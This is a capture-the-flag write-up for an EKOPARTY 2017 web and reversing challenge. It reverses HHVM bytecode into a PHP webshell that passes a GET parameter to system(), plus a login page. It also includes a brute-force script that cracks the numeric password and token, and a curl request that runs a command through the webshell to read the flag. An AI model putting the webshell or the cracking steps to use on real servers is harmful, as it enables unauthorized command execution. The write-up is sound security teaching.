CTF: EKOPARTY CTF 2017
Points: 498 (solved by 2 teams)
Category: Web, RE
DESCRIPTION
In this challenge we were given a URL of a web service – http://hhvm.ctf.site:10080/ and two shell commands which were used to run the service:
1 |
$ hhvm --hphp -t hhbc -v AllVolatile=true --input-dir . -o HHVM |
and:
1 2 3 4 |
$ hhvm -m server -d hhvm.server.type=proxygen \ -d hhvm.server.port=8080 \ -d hhvm.repo.authoritative=true \ -d hhvm.repo.central.path=./HHVM/hhvm.hhbc |
About hhvm
HHVM is a virtual machine for PHP developed by Facebook, which uses JIT to accelerate code execution. PHP scripts are converted into HipHop bytecode (HHBC), optimized and then compiled into native machine code.
By default, HHVM works similarly to Zend Engine – it loads and runs PHP files on demand. Although flexible, this method is grossly inefficient since it gives little room for advanced optimizations. The alternative is to use “repo authoritative” mode (used in this challenge) in which HHVM builds a SQLite3 database ( hhvm.hhbc) with highly-optimized bytecode and additional metadata required to run all scripts.
SOLUTION
Obtaining the hhvm.hhbc
The first thing we need to do is to extract the repo file. Luckily for us it is easily accessible, since Proxygen (built-in HTTP server) serves all files from the directory it was run. We just run
1 |
$ wget http://hhvm.ctf.site:10080/HHVM/hhvm.hhbc |
You can download it here.
Discovering PHP files
Now, when we have the repo file, we can see what is happening under the hood. First, let’s see what endpoints we can find on the server. To do this we can simply load the database and look around for hints. One of the interesting tables contains:
Dumping the bytecode
Next step is to find out what both of those scripts are doing. In order to do this, we can pass a -vEval.DumpBytecode=1 flag to HHVM.
1 2 3 |
$ hhvm -d hhvm.repo.authoritative=true \ -d hhvm.repo.central.path=./HHVM/hhvm.hhbc \ -vEval.DumpBytecode=1 [filename] |
This command will extract and print HipHop bytecode from repo. I’ve included dumps of both files for reference, but I’ll skip to manually “reversed” PHP code. I encourage you to try and analyze HHBC by yourself. It works as a simple stack machine. Look here for HHBC specification.
shell.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
Pseudo-main at 0 repoReturnType: Int maxStackCells: 5 numLocals: 2 numIterators: 0 numClsRefSlots: 0 // line 3 0: String "/etc/slow-auth.ini" 5: False 6: Int 0 15: AssertRATStk 1 Bool 18: AssertRATStk 2 SStr 21: FCallBuiltin 3 1 "parse_ini_file" 28: UnboxRNop 29: SetL L:0 31: PopC // line 5 32: String "_GET" 37: AssertRATStk 0 SStr 40: BaseGC 0 None 44: AssertRATStk 0 SStr 47: QueryM 1 Empty ET:"token" 56: AssertRATStk 0 Bool 59: JmpNZ 124 (183) 64: String "_GET" 69: AssertRATStk 0 SStr 72: BaseGC 0 None 76: AssertRATStk 0 SStr 79: QueryM 1 Empty ET:"cmd" 88: AssertRATStk 0 Bool 91: JmpNZ 92 (183) 96: String "_GET" 101: AssertRATStk 0 SStr 104: BaseGC 0 Warn 108: AssertRATStk 0 SStr 111: QueryM 1 CGet ET:"token" 120: BaseL L:0 Warn 124: QueryM 0 CGet ET:"token" 133: Same 134: JmpZ 49 (183) // line 6 139: String "Welcome admin!<br/>" 144: Print 145: PopC // line 7 146: String "_GET" 151: AssertRATStk 0 SStr 154: BaseGC 0 Warn 158: AssertRATStk 0 SStr 161: QueryM 1 CGet ET:"cmd" 170: NullUninit 171: FCallBuiltin 2 1 "system" 178: UnboxRNop 179: AssertRATStk 0 ?Str 182: PopC 183: Int 1 192: RetC Pseudo-main at 0 repoReturnType: Int maxStackCells: 5 numLocals: 2 numIterators: 0 numClsRefSlots: 0 |
shell-login.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 |
Pseudo-main at 0 repoReturnType: Int maxStackCells: 12 numLocals: 6 numIterators: 0 numClsRefSlots: 0 FPI 214-234; fpOff = 9 FPI 253-287; fpOff = 9 // line 3 0: String "_POST" 5: EmptyG 6: JmpNZ 369 (375) // line 4 11: String "_POST" 16: AssertRATStk 0 SStr 19: BaseGC 0 Warn 23: AssertRATStk 0 SStr 26: QueryM 1 CGet ET:"username" 35: Int 0 44: Int 32 53: AssertRATStk 1 Int 56: FCallBuiltin 3 3 "substr" 63: UnboxRNop 64: SetL L:1 66: PopC // line 5 67: String "_POST" 72: AssertRATStk 0 SStr 75: BaseGC 0 Warn 79: AssertRATStk 0 SStr 82: QueryM 1 CGet ET:"password" 91: Int 0 100: Int 4 109: AssertRATStk 1 Int 112: FCallBuiltin 3 3 "substr" 119: UnboxRNop 120: CastInt 121: CastString 122: SetL L:2 124: PopC // line 6 125: Int 0 134: SetL L:3 // line 8 136: PopC // line 6 137: Int 16 146: CGetL2 L:3 148: AssertRATStk 0 Int 151: Lt 152: JmpZ 46 (198) // line 7 157: CGetL L:2 159: False 160: FCallBuiltin 2 1 "md5" 167: UnboxRNop 168: AssertRATStk 0 ?Str 171: SetL L:2 173: PopC // line 6 174: IncDecL L:3 PostIncO // line 8 177: PopC // line 6 178: Int 16 187: CGetL2 L:3 189: AssertRATStk 0 Int 192: Lt 193: JmpNZ -36 (157) // line 10 198: String "EKO-ADMIN" 203: CGetL2 L:1 205: AssertRATStk 0 SStr 208: Same 209: JmpZ 158 (367) 214: FPushFuncD 2 "password_verify" 220: CGetL L:2 222: FPassC 0 224: String "$2y$12$tQdBpH9ZlMomuSxwpw/5Iuxe4xTdu8RbBG4ODCxyZPM0Hl3vpkC4q" 229: FPassC 1 231: AssertRATStk 0 SStr 234: FCallD 2 "" "password_verify" 244: UnboxRNop 245: AssertRATStk 0 Bool 248: JmpZ 119 (367) // line 11 253: FPushFuncD 3 "password_hash" 259: CGetL L:2 261: FPassC 0 263: Int 1 272: FPassC 1 274: Array array("cost"=>24,"salt"=>"3165613164316437343131346634616663323364623631393534316630336634653663353466373638373835") 279: FPassC 2 281: AssertRATStk 0 SArr 284: AssertRATStk 1 Int 287: FCallD 3 "" "password_hash" 297: UnboxRNop 298: False 299: FCallBuiltin 2 1 "md5" 306: UnboxRNop 307: AssertRATStk 0 ?Str 310: SetL L:4 312: PopC // line 12 313: String "Location: shell.php\?token=" 318: String "&cmd=cat%20/etc/slow-webshell.txt" 323: CGetL2 L:4 325: AssertRATStk 0 SStr 328: Concat 329: AssertRATStk 1 SStr 332: ConcatN 2 334: True 335: Int 0 344: AssertRATStk 1 Bool 347: AssertRATStk 2 Str 350: FCallBuiltin 3 1 "header" 357: UnboxRNop 358: AssertRATStk 0 InitNull 361: PopC 362: Jmp 13 (375) // line 14 367: String "<strong>Invalid username or password</strong>" 372: SetL L:5 374: PopC // line 21 375: String "<html>\n <head>\n <title>Slow Webshell</title>\n " 380: Print 381: PopC 382: String "<s" 387: Print 388: PopC // line 29 389: String "tyle>\n .login-form {text-align: center;}\n input {margin: 5px;}\n </style>\n </head>\n <body>\n <div class=\"login-form\">\n <h2>Slow Webshell</h2>\n " 394: Print 395: PopC 396: EmptyL L:5 398: JmpNZ 9 (407) 403: CGetL L:5 405: Print 406: PopC // line 37 407: String " <form method=\"POST\">\n <input type=\"text\" name=\"username\" placeholder=\"username\" required /><br/>\n <input type=\"password\" name=\"password\" placeholder=\"password\" required /><br/>\n <input type=\"submit\" name=\"submit\" value=\"Authenticate\" />\n </form>\n </div>\n </body>\n</html>\n" 412: Print 413: PopC 414: Int 1 423: RetC Pseudo-main at 0 repoReturnType: Int maxStackCells: 12 numLocals: 6 numIterators: 0 numClsRefSlots: 0 FPI 214-234; fpOff = 9 FPI 253-287; fpOff = 9 |
Vulnerability
Ok, now that we have rewritten bytecode to PHP, we can look for a way to pwn the server.
shell.php:
1 2 3 4 5 6 7 |
$conf = parse_ini_file("/etc/slow-auth.ini"); if ($_GET['token'] && $_GET['cmd']) { if ($_GET['token'] == $conf['token']) { echo "Welcome admin!<br/>"; system($_GET['cmd']); } } |
shell-login.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
if (isset($_POST)) { $user = substr($_POST['username'], 0, 32); $pass = substr($_POST['password'], 0, 4); $pass = strval(intval($pass)); for ($i = 0; $i < 16; $i++) { $pass = md5($pass); } if ($user == 'EKO-ADMIN' && password_verify($pass, '$2y$12$tQdBpH9ZlMomuSxwpw/5Iuxe4xTdu8RbBG4ODCxyZPM0Hl3vpkC4q')) { $options = [ 'cost' => 24, 'salt' => "3165613164316437343131346634616663323364623631393534316630336634653663353466373638373835" ]; $token = md5(password_hash($pass, PASSWORD_BCRYPT, $options)); header("Location: shell.php?token=" . $token . "&cmd=cat%20/etc/slow-webshell.txt"); } else { $error = "<strong>Invalid username or password</strong>"; } } echo "<html>...."; echo "<style>...."; if ($error) { echo $error; } echo "<form>....."; ?> |
Logging in
Ok, now we know everything to get to the shell. The first thing to do is to break the password. We’ll do this by simply iterating over all 10 000 numbers, computing 16xMD5 hash of candidate and using
password_verify for final verification.
After finding a valid password we have two options: either use it in the login form and let the server compute a valid token or generate it locally and directly access
shell.php.
Here’s a script which finds both password and a token (warning – takes a lot of time to finish):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
<?php function md5calc($s) { for ($i = 0; $i < 16; $i++) { $s = md5($s); } return $s; } function print_token($p) { $options = [ 'cost' => 24, 'salt' => "3165613164316437343131346634616663323364623631393534316630336634653663353466373638373835" ]; $token = md5(password_hash($p, PASSWORD_BCRYPT, $options)); echo "Token: $token\n"; } for ($i = 0; $i < 10000; $i++) { $pass = strval($i); $pass = md5calc($pass); if (password_verify($pass, '$2y$12$tQdBpH9ZlMomuSxwpw/5Iuxe4xTdu8RbBG4ODCxyZPM0Hl3vpkC4q')) { echo "Password: $i\n"; print_token($pass); break; } } ?> |
1 2 3 4 |
$ curl "http://hhvm.ctf.site:10080/shell.php?token=8b5e48da54af5ef22fbd1045c10d3d58&cmd=cat%20/etc/slow-webshell.txt" ... EKO{m4st3r+of+HHVM+0pc0d35} ... |